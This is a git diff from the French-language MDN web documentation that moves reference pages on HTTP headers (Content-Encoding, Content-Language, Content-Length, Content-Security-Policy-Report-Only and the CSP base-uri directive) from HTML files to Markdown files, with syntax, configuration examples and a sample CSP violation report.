-Content-Encoding: compress
-Content-Encoding: deflate
-Content-Encoding: identity
-Content-Encoding: br
-
-// Plusieurs valeurs selon l'ordre dans lequel ils ont été appliqués
-Content-Encoding: gzip, identity
-Content-Encoding: deflate, gzip
-
- -

Directives

- -
-
gzip
-
Un format utilisant le codage Lempel-Ziv (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX gzip. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent x-gzip comme alias, à des fins de compatibilité.
-
compress
-
Un format utilisant l'algorithme Lempel-Ziv-Welch (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003).
-
deflate
-
Utilisant la structure zlib (définie dans la RFC 1950) avec l'algorithme de compression deflate (défini dans la RFC 1951).
-
identity
-
Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable.
-
br
-
Un format utilisant l'algorithme de Brotli.
-
- -

Exemples

- -

Compression avec gzip

- -

Côté client, on peut fournir la liste des mécanismes de compression pris en charge en envoyant l'en-tête {{HTTPHeader("Accept-Encoding")}} lors de la négociation de l'encodage.

- -
Accept-Encoding: gzip, deflate
- -

Le serveur répondra avec le schéma utilisé avec l'en-tête de réponse Content-Encoding.

- -
Content-Encoding: gzip
- -

À noter que le serveur n'est pas obligé d'utiliser de méthode de compression. La compression dépend fortement des paramètres du serveur et des modules de serveur utilisés.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7932", "Brotli Compressed Data Format")}}Brotli Compressed Data Format
{{RFC("7231", "Content-Encoding", "3.1.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
{{RFC("2616", "Content-Encoding", "14.11")}}Content-Encoding
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Content-Encoding")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-encoding/index.md b/files/fr/web/http/headers/content-encoding/index.md new file mode 100644 index 0000000000..3d52ddfac5 --- /dev/null +++ b/files/fr/web/http/headers/content-encoding/index.md @@ -0,0 +1,105 @@ +--- +title: Content-Encoding +slug: Web/HTTP/Headers/Content-Encoding +tags: + - En-têtes + - HTTP + - Reference +translation_of: Web/HTTP/Headers/Content-Encoding +--- +
{{HTTPSidebar}}
+ +

L'en-tête Content-Encoding indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête Content-Type.

+ +

Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue.

+ + + + + + + + + + + + +
Type d'en-têteEn-tête d'entité
Nom d'en-tête interditNon
+ +

Syntaxe

+ +
Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+
+// Plusieurs valeurs selon l'ordre dans lequel ils ont été appliqués
+Content-Encoding: gzip, identity
+Content-Encoding: deflate, gzip
+
+ +

Directives

+ +
+
gzip
+
Un format utilisant le codage Lempel-Ziv (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX gzip. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent x-gzip comme alias, à des fins de compatibilité.
+
compress
+
Un format utilisant l'algorithme Lempel-Ziv-Welch (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003).
+
deflate
+
Utilisant la structure zlib (définie dans la RFC 1950) avec l'algorithme de compression deflate (défini dans la RFC 1951).
+
identity
+
Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable.
+
br
+
Un format utilisant l'algorithme de Brotli.
+
+ +

Exemples

+ +

Compression avec gzip

+ +

Côté client, on peut fournir la liste des mécanismes de compression pris en charge en envoyant l'en-tête {{HTTPHeader("Accept-Encoding")}} lors de la négociation de l'encodage.

+ +
Accept-Encoding: gzip, deflate
+ +

Le serveur répondra avec le schéma utilisé avec l'en-tête de réponse Content-Encoding.

+ +
Content-Encoding: gzip
+ +

À noter que le serveur n'est pas obligé d'utiliser de méthode de compression. La compression dépend fortement des paramètres du serveur et des modules de serveur utilisés.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("7932", "Brotli Compressed Data Format")}}Brotli Compressed Data Format
{{RFC("7231", "Content-Encoding", "3.1.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
{{RFC("2616", "Content-Encoding", "14.11")}}Content-Encoding
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Content-Encoding")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-language/index.html b/files/fr/web/http/headers/content-language/index.html deleted file mode 100644 index 002c307908..0000000000 --- a/files/fr/web/http/headers/content-language/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Content-Language -slug: Web/HTTP/Headers/Content-Language -tags: - - En-tête HTTP - - En-tête de requête - - HTTP - - Négociation de contenu - - Reference -translation_of: Web/HTTP/Headers/Content-Language ---- -
{{HTTPSidebar}}
- -

L'en-tête Content-Language  est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs.

- -

Par exemple, si "Content-Language: de-DE" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands).

- -

Si l'en-tête Content-Language n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête Content-Language pour dfférents types de médias, et pas seulement pour les documents texte.

- - - - - - - - - - - - - - - - - - - - -
Type d'en-tête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}Non
{{Glossary("Simple response header", "CORS-safelisted response-header")}}Oui
{{Glossary("Simple header", "CORS-safelisted request-header")}}Oui, avec comme restriction supplémentaire que les valeurs ne peuvent contenir que les caractères 0-9, A-Z, a-z, l'espace ou *,-.;=.
- -

Syntaxe

- -
Content-Language: de-DE
-Content-Language: en-US
-Content-Language: de-DE, en-CA
-
- -

Directives

- -
-
language-tag
-
Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("-", %x2D). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada).
-
- -
-

Note : Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser.

-
- -

Exemples

- -

Indiquer la langue dans laquelle un document est écrit

- -

L'attribut global lang est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci.

- -
<html lang="de">
- -

N'utilisez pas le meta tag comme ceci pour déclarer la langue d'un document:

- -
<!-- /!\ C'est une mauvaise pratique -->
-<meta http-equiv="content-language" content="de">
- -

Indiquer un public cible pour une ressource

- -

L'en-tête Content-Language est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue.

- -
Content-Language: de, en
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "Content-Language", "3.1.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Sémantiques et Contenu
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Content-Language")}}

- -

Voir également

- - diff --git a/files/fr/web/http/headers/content-language/index.md b/files/fr/web/http/headers/content-language/index.md new file mode 100644 index 0000000000..002c307908 --- /dev/null +++ b/files/fr/web/http/headers/content-language/index.md @@ -0,0 +1,107 @@ +--- +title: Content-Language +slug: Web/HTTP/Headers/Content-Language +tags: + - En-tête HTTP + - En-tête de requête + - HTTP + - Négociation de contenu + - Reference +translation_of: Web/HTTP/Headers/Content-Language +--- +
{{HTTPSidebar}}
+ +

L'en-tête Content-Language  est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs.

+ +

Par exemple, si "Content-Language: de-DE" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands).

+ +

Si l'en-tête Content-Language n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête Content-Language pour dfférents types de médias, et pas seulement pour les documents texte.

+ + + + + + + + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}Non
{{Glossary("Simple response header", "CORS-safelisted response-header")}}Oui
{{Glossary("Simple header", "CORS-safelisted request-header")}}Oui, avec comme restriction supplémentaire que les valeurs ne peuvent contenir que les caractères 0-9, A-Z, a-z, l'espace ou *,-.;=.
+ +

Syntaxe

+ +
Content-Language: de-DE
+Content-Language: en-US
+Content-Language: de-DE, en-CA
+
+ +

Directives

+ +
+
language-tag
+
Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("-", %x2D). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada).
+
+ +
+

Note : Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser.

+
+ +

Exemples

+ +

Indiquer la langue dans laquelle un document est écrit

+ +

L'attribut global lang est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci.

+ +
<html lang="de">
+ +

N'utilisez pas le meta tag comme ceci pour déclarer la langue d'un document:

+ +
<!-- /!\ C'est une mauvaise pratique -->
+<meta http-equiv="content-language" content="de">
+ +

Indiquer un public cible pour une ressource

+ +

L'en-tête Content-Language est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue.

+ +
Content-Language: de, en
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "Content-Language", "3.1.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Sémantiques et Contenu
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Content-Language")}}

+ +

Voir également

+ + diff --git a/files/fr/web/http/headers/content-length/index.html b/files/fr/web/http/headers/content-length/index.html deleted file mode 100644 index 91f5d30ca8..0000000000 --- a/files/fr/web/http/headers/content-length/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Content-Length -slug: Web/HTTP/Headers/Content-Length -tags: - - HTTP - - en-tête - - header -translation_of: Web/HTTP/Headers/Content-Length ---- -
{{HTTPSidebar}}
- -

L'en-tête (header) Content-Length indique la taille en octets (exprimée en base 10) du corps de la réponse envoyée au client.

- - - - - - - - - - - - -
Type d'en-tête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}oui
- -

Syntaxe

- -
Content-Length: <longueur>
-
- -

Directives

- -
-
<longueur>
-
La longueur en octet (en base 10).
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7230", "Content-Length", "3.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- -

Compatibilité des navigateurs

- -

{{Compat("http/headers/content-length")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-length/index.md b/files/fr/web/http/headers/content-length/index.md new file mode 100644 index 0000000000..91f5d30ca8 --- /dev/null +++ b/files/fr/web/http/headers/content-length/index.md @@ -0,0 +1,62 @@ +--- +title: Content-Length +slug: Web/HTTP/Headers/Content-Length +tags: + - HTTP + - en-tête + - header +translation_of: Web/HTTP/Headers/Content-Length +--- +
{{HTTPSidebar}}
+ +

L'en-tête (header) Content-Length indique la taille en octets (exprimée en base 10) du corps de la réponse envoyée au client.

+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}oui
+ +

Syntaxe

+ +
Content-Length: <longueur>
+
+ +

Directives

+ +
+
<longueur>
+
La longueur en octet (en base 10).
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7230", "Content-Length", "3.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/headers/content-length")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy-report-only/index.html b/files/fr/web/http/headers/content-security-policy-report-only/index.html deleted file mode 100644 index 7524dab5f1..0000000000 --- a/files/fr/web/http/headers/content-security-policy-report-only/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Content-Security-Policy-Report-Only -slug: Web/HTTP/Headers/Content-Security-Policy-Report-Only -tags: - - CSP - - Content-Security-Policy - - HTTP - - HTTPS - - Reference - - Security - - Sécurité - - header -translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only ---- -
{{HTTPSidebar}}
- -

L'en-tête de réponse HTTP Content-Security-Policy-Report-Only permet aux développeurs web d'expérimenter avec les règles CSP en contrôlant leur application sans bloquer de contenu. Ces rapports de violations sont constitués d'un document {{Glossary("JSON")}} envoyé via une requête HTTP POST à l'URI spécifiée.

- -

Pour plus d'informations, voir aussi cet article sur les Content Security Policy (CSP).

- - - - - - - - - - - - - - - -
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
Cet en-tête n'est pas supporté au sein d'un élément {{HTMLElement("meta")}}.
- -

Syntaxe

- -
Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive>
-
- -

Directives

- -

Les directives de l'en-tête {{HTTPHeader("Content-Security-Policy")}} peuvent aussi être appliquées à l'en-tête Content-Security-Policy-Report-Only.

- -

La directive CSP {{CSP("report-uri")}} doit être utilisée avec celui-ci, ou définir cet en-tête ne servirait à rien puisqu'aucun rapport ne serait envoyé.

- -

Exemples

- -

Cet en-tête rapporte les violations qui seront constatées. Vous pouvez l'utiliser pour améliorer vos CSP. Vous pouvez observer comment votre site fonctionne en consultant les rapports ou redirections malicieuses, puis choisir les règles voulues pour bloquer le contenu avec l'en-tête {{HTTPHeader("Content-Security-Policy")}}.

- -
Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/
- -

Si vous voulez toujours recevoir des rapports, mais aussi imposer des règles, utilisez l'en-tête {{HTTPHeader("Content-Security-Policy")}} avec la directive {{CSP("report-uri")}}.

- -
Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/
- -

Syntaxe d'un rapport de violation

- -

L'objet de rapport JSON contient les informations suivantes :

- -
-
blocked-uri
-
L'URI de la ressource dont le chargement a été bloqué par les règles Content Security Policy. Si l'URI bloquée est d'une origine différente que celle du document (document-uri), alors l'URI bloquée est tronquée pour contenir uniquement le schéma, l'hôte et le port.
-
disposition
-
Soit "enforce", soit "report", selon que l'en-tête qui a déclenché l'envoi du rapport est {{HTTPHeader("Content-Security-Policy")}} ou Content-Security-Policy-Report-Only.
-
document-uri
-
L'URI du document dans lequel la violation a eu lieu.
-
effective-directive
-
La directive qui a causé la violation.
-
original-policy
-
La règle originale telle que spécifiée par l'en-tête Content-Security-Policy-Report-Only.
-
referrer
-
Le référent du document dans lequel la violation a eu lieu.
-
script-sample
-
Les 40 premiers caractères du script embarqué, du gestionnaire d'évènements par attribut ou de la feuille de style qui a causé la violation.
-
status-code
-
Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.
-
violated-directive
-
Le nom de la directive qui a été violée.
-
- -

Extrait de rapport de violation

- -
Considérons une page à l'adresse http://example.com/signup.html. Elle utilise la règle CSP suivante, interdisant tout excepté les feuilles de styles chargées depuis cdn.example.com.
- -
-
Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
-
- -
La page HTML correspondant à l'adresse signup.html ressemble à :
- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Sign Up</title>
-    <link rel="stylesheet" href="css/style.css">
-  </head>
-  <body>
-    ... Content ...
-  </body>
-</html>
- -
Avez-vous identifié une violation ?
- -
Les feuilles de styles ne sont acceptées que si elles sont chargées depuis cdn.example.com, et pourtant le site tente d'en charger une depuis sa propre origine (http://example.com). Un navigateur capable d'imposer des règles CSP enverra le rapport de violation suivant sous la forme d'une requête POST à l'adresse http://example.com/_/csp-reports quand la page sera visitée :
- -
{
-  "csp-report": {
-    "document-uri": "http://example.com/signup.html",
-    "referrer": "",
-    "blocked-uri": "http://example.com/css/style.css",
-    "violated-directive": "style-src cdn.example.com",
-    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports",
-    "disposition": "report"
-  }
-}
- -

Comme vous le voyez, la rapport inclut le chemin complet de la ressource à l'origine de la violaton dans la propriété blocked-uri. Ce n'est pas toujours le cas. Par exemple, quand la page signup.html essaiera de charger un CSS depuis http://anothercdn.example.com/stylesheet.css, le navigateur n'inclura pas le chemin complet mais seulement son origine (http://anothercdn.example.com). Cela est fait pour empêcher les fuites d'informations sensibles à propos de ressources externes.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Content-Security-Policy-Report-Only")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy-report-only/index.md b/files/fr/web/http/headers/content-security-policy-report-only/index.md new file mode 100644 index 0000000000..7524dab5f1 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy-report-only/index.md @@ -0,0 +1,156 @@ +--- +title: Content-Security-Policy-Report-Only +slug: Web/HTTP/Headers/Content-Security-Policy-Report-Only +tags: + - CSP + - Content-Security-Policy + - HTTP + - HTTPS + - Reference + - Security + - Sécurité + - header +translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only +--- +
{{HTTPSidebar}}
+ +

L'en-tête de réponse HTTP Content-Security-Policy-Report-Only permet aux développeurs web d'expérimenter avec les règles CSP en contrôlant leur application sans bloquer de contenu. Ces rapports de violations sont constitués d'un document {{Glossary("JSON")}} envoyé via une requête HTTP POST à l'URI spécifiée.

+ +

Pour plus d'informations, voir aussi cet article sur les Content Security Policy (CSP).

+ + + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
Cet en-tête n'est pas supporté au sein d'un élément {{HTMLElement("meta")}}.
+ +

Syntaxe

+ +
Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive>
+
+ +

Directives

+ +

Les directives de l'en-tête {{HTTPHeader("Content-Security-Policy")}} peuvent aussi être appliquées à l'en-tête Content-Security-Policy-Report-Only.

+ +

La directive CSP {{CSP("report-uri")}} doit être utilisée avec celui-ci, ou définir cet en-tête ne servirait à rien puisqu'aucun rapport ne serait envoyé.

+ +

Exemples

+ +

Cet en-tête rapporte les violations qui seront constatées. Vous pouvez l'utiliser pour améliorer vos CSP. Vous pouvez observer comment votre site fonctionne en consultant les rapports ou redirections malicieuses, puis choisir les règles voulues pour bloquer le contenu avec l'en-tête {{HTTPHeader("Content-Security-Policy")}}.

+ +
Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/
+ +

Si vous voulez toujours recevoir des rapports, mais aussi imposer des règles, utilisez l'en-tête {{HTTPHeader("Content-Security-Policy")}} avec la directive {{CSP("report-uri")}}.

+ +
Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/
+ +

Syntaxe d'un rapport de violation

+ +

L'objet de rapport JSON contient les informations suivantes :

+ +
+
blocked-uri
+
L'URI de la ressource dont le chargement a été bloqué par les règles Content Security Policy. Si l'URI bloquée est d'une origine différente que celle du document (document-uri), alors l'URI bloquée est tronquée pour contenir uniquement le schéma, l'hôte et le port.
+
disposition
+
Soit "enforce", soit "report", selon que l'en-tête qui a déclenché l'envoi du rapport est {{HTTPHeader("Content-Security-Policy")}} ou Content-Security-Policy-Report-Only.
+
document-uri
+
L'URI du document dans lequel la violation a eu lieu.
+
effective-directive
+
La directive qui a causé la violation.
+
original-policy
+
La règle originale telle que spécifiée par l'en-tête Content-Security-Policy-Report-Only.
+
referrer
+
Le référent du document dans lequel la violation a eu lieu.
+
script-sample
+
Les 40 premiers caractères du script embarqué, du gestionnaire d'évènements par attribut ou de la feuille de style qui a causé la violation.
+
status-code
+
Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.
+
violated-directive
+
Le nom de la directive qui a été violée.
+
+ +

Extrait de rapport de violation

+ +
Considérons une page à l'adresse http://example.com/signup.html. Elle utilise la règle CSP suivante, interdisant tout excepté les feuilles de styles chargées depuis cdn.example.com.
+ +
+
Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
+
+ +
La page HTML correspondant à l'adresse signup.html ressemble à :
+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Sign Up</title>
+    <link rel="stylesheet" href="css/style.css">
+  </head>
+  <body>
+    ... Content ...
+  </body>
+</html>
+ +
Avez-vous identifié une violation ?
+ +
Les feuilles de styles ne sont acceptées que si elles sont chargées depuis cdn.example.com, et pourtant le site tente d'en charger une depuis sa propre origine (http://example.com). Un navigateur capable d'imposer des règles CSP enverra le rapport de violation suivant sous la forme d'une requête POST à l'adresse http://example.com/_/csp-reports quand la page sera visitée :
+ +
{
+  "csp-report": {
+    "document-uri": "http://example.com/signup.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports",
+    "disposition": "report"
+  }
+}
+ +

Comme vous le voyez, la rapport inclut le chemin complet de la ressource à l'origine de la violaton dans la propriété blocked-uri. Ce n'est pas toujours le cas. Par exemple, quand la page signup.html essaiera de charger un CSS depuis http://anothercdn.example.com/stylesheet.css, le navigateur n'inclura pas le chemin complet mais seulement son origine (http://anothercdn.example.com). Cela est fait pour empêcher les fuites d'informations sensibles à propos de ressources externes.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Content-Security-Policy-Report-Only")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/base-uri/index.html b/files/fr/web/http/headers/content-security-policy/base-uri/index.html deleted file mode 100644 index 714cfb2f7b..0000000000 --- a/files/fr/web/http/headers/content-security-policy/base-uri/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: 'CSP: base-uri' -slug: Web/HTTP/Headers/Content-Security-Policy/base-uri -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Sécurité - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/base-uri ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) base-uri restreint les URL qui peuvent être utilisées comme valeur d'un élément {{HTMLElement("base")}}. Si cette valeur est absente, alors toutes les adresses sont autorisées. Si cette directive est absente, l'agent utilisateur va utiliser la valeur dans l'élément {{HTMLElement("base")}}.

- - - - - - - - - - - - - - - - -
Version de CSP2
Type de directive{{Glossary("Document directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les URL
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: base-uri <source>;
-Content-Security-Policy: base-uri <source> <source>;
-
- -

Sources

- -

Bien que cette directive utilise les mêmes arguments que d'autres directives CSP, certains d'entre eux n'ont pas de sens concernant l'élément {{HTMLElement("base")}}, comme les valeurs 'unsafe-inline' et 'strict-dynamic'

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

- -

Exemples

- -

Configuration par balise <meta>

- -
<meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
- -

Configuration par Apache

- -
<IfModule mod_headers.c>
-Header set Content-Security-Policy "base-uri 'self'";
-</IfModule>
- -

Configuration par Nginx

- -
add_header Content-Security-Policy "base-uri 'self';"
- -

Cas de violation

- -

À partir du moment où votre domaine n'est pas example.com, un élément {{HTMLElement("base")}} avec son attribut href défini à https://example.com résultera en une violation de CSP.

- -
<meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
-<base href="https://example.com/">
-
-// Error: Refused to set the document's base URI to 'https://example.com/'
-// because it violates the following Content Security Policy
-// directive: "base-uri 'self'"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-base-uri", "base-uri")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-base-uri", "base-uri")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.base-uri")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/base-uri/index.md b/files/fr/web/http/headers/content-security-policy/base-uri/index.md new file mode 100644 index 0000000000..714cfb2f7b --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/base-uri/index.md @@ -0,0 +1,109 @@ +--- +title: 'CSP: base-uri' +slug: Web/HTTP/Headers/Content-Security-Policy/base-uri +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/base-uri +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) base-uri restreint les URL qui peuvent être utilisées comme valeur d'un élément {{HTMLElement("base")}}. Si cette valeur est absente, alors toutes les adresses sont autorisées. Si cette directive est absente, l'agent utilisateur va utiliser la valeur dans l'élément {{HTMLElement("base")}}.

+ + + + + + + + + + + + + + + + +
Version de CSP2
Type de directive{{Glossary("Document directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les URL
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: base-uri <source>;
+Content-Security-Policy: base-uri <source> <source>;
+
+ +

Sources

+ +

Bien que cette directive utilise les mêmes arguments que d'autres directives CSP, certains d'entre eux n'ont pas de sens concernant l'élément {{HTMLElement("base")}}, comme les valeurs 'unsafe-inline' et 'strict-dynamic'

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+ +

Exemples

+ +

Configuration par balise <meta>

+ +
<meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
+ +

Configuration par Apache

+ +
<IfModule mod_headers.c>
+Header set Content-Security-Policy "base-uri 'self'";
+</IfModule>
+ +

Configuration par Nginx

+ +
add_header Content-Security-Policy "base-uri 'self';"
+ +

Cas de violation

+ +

À partir du moment où votre domaine n'est pas example.com, un élément {{HTMLElement("base")}} avec son attribut href défini à https://example.com résultera en une violation de CSP.

+ +
<meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
+<base href="https://example.com/">
+
+// Error: Refused to set the document's base URI to 'https://example.com/'
+// because it violates the following Content Security Policy
+// directive: "base-uri 'self'"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-base-uri", "base-uri")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-base-uri", "base-uri")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.base-uri")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html deleted file mode 100644 index 92897ebaf9..0000000000 --- a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: 'CSP: block-all-mixed-content' -slug: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Mixed Content - - Reference - - Security - - Sécurité - - block-all-mixed-content -translation_of: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) block-all-mixed-content bloque le chargement de ressources via HTTP lorsque la page utilise HTTPS.

- -

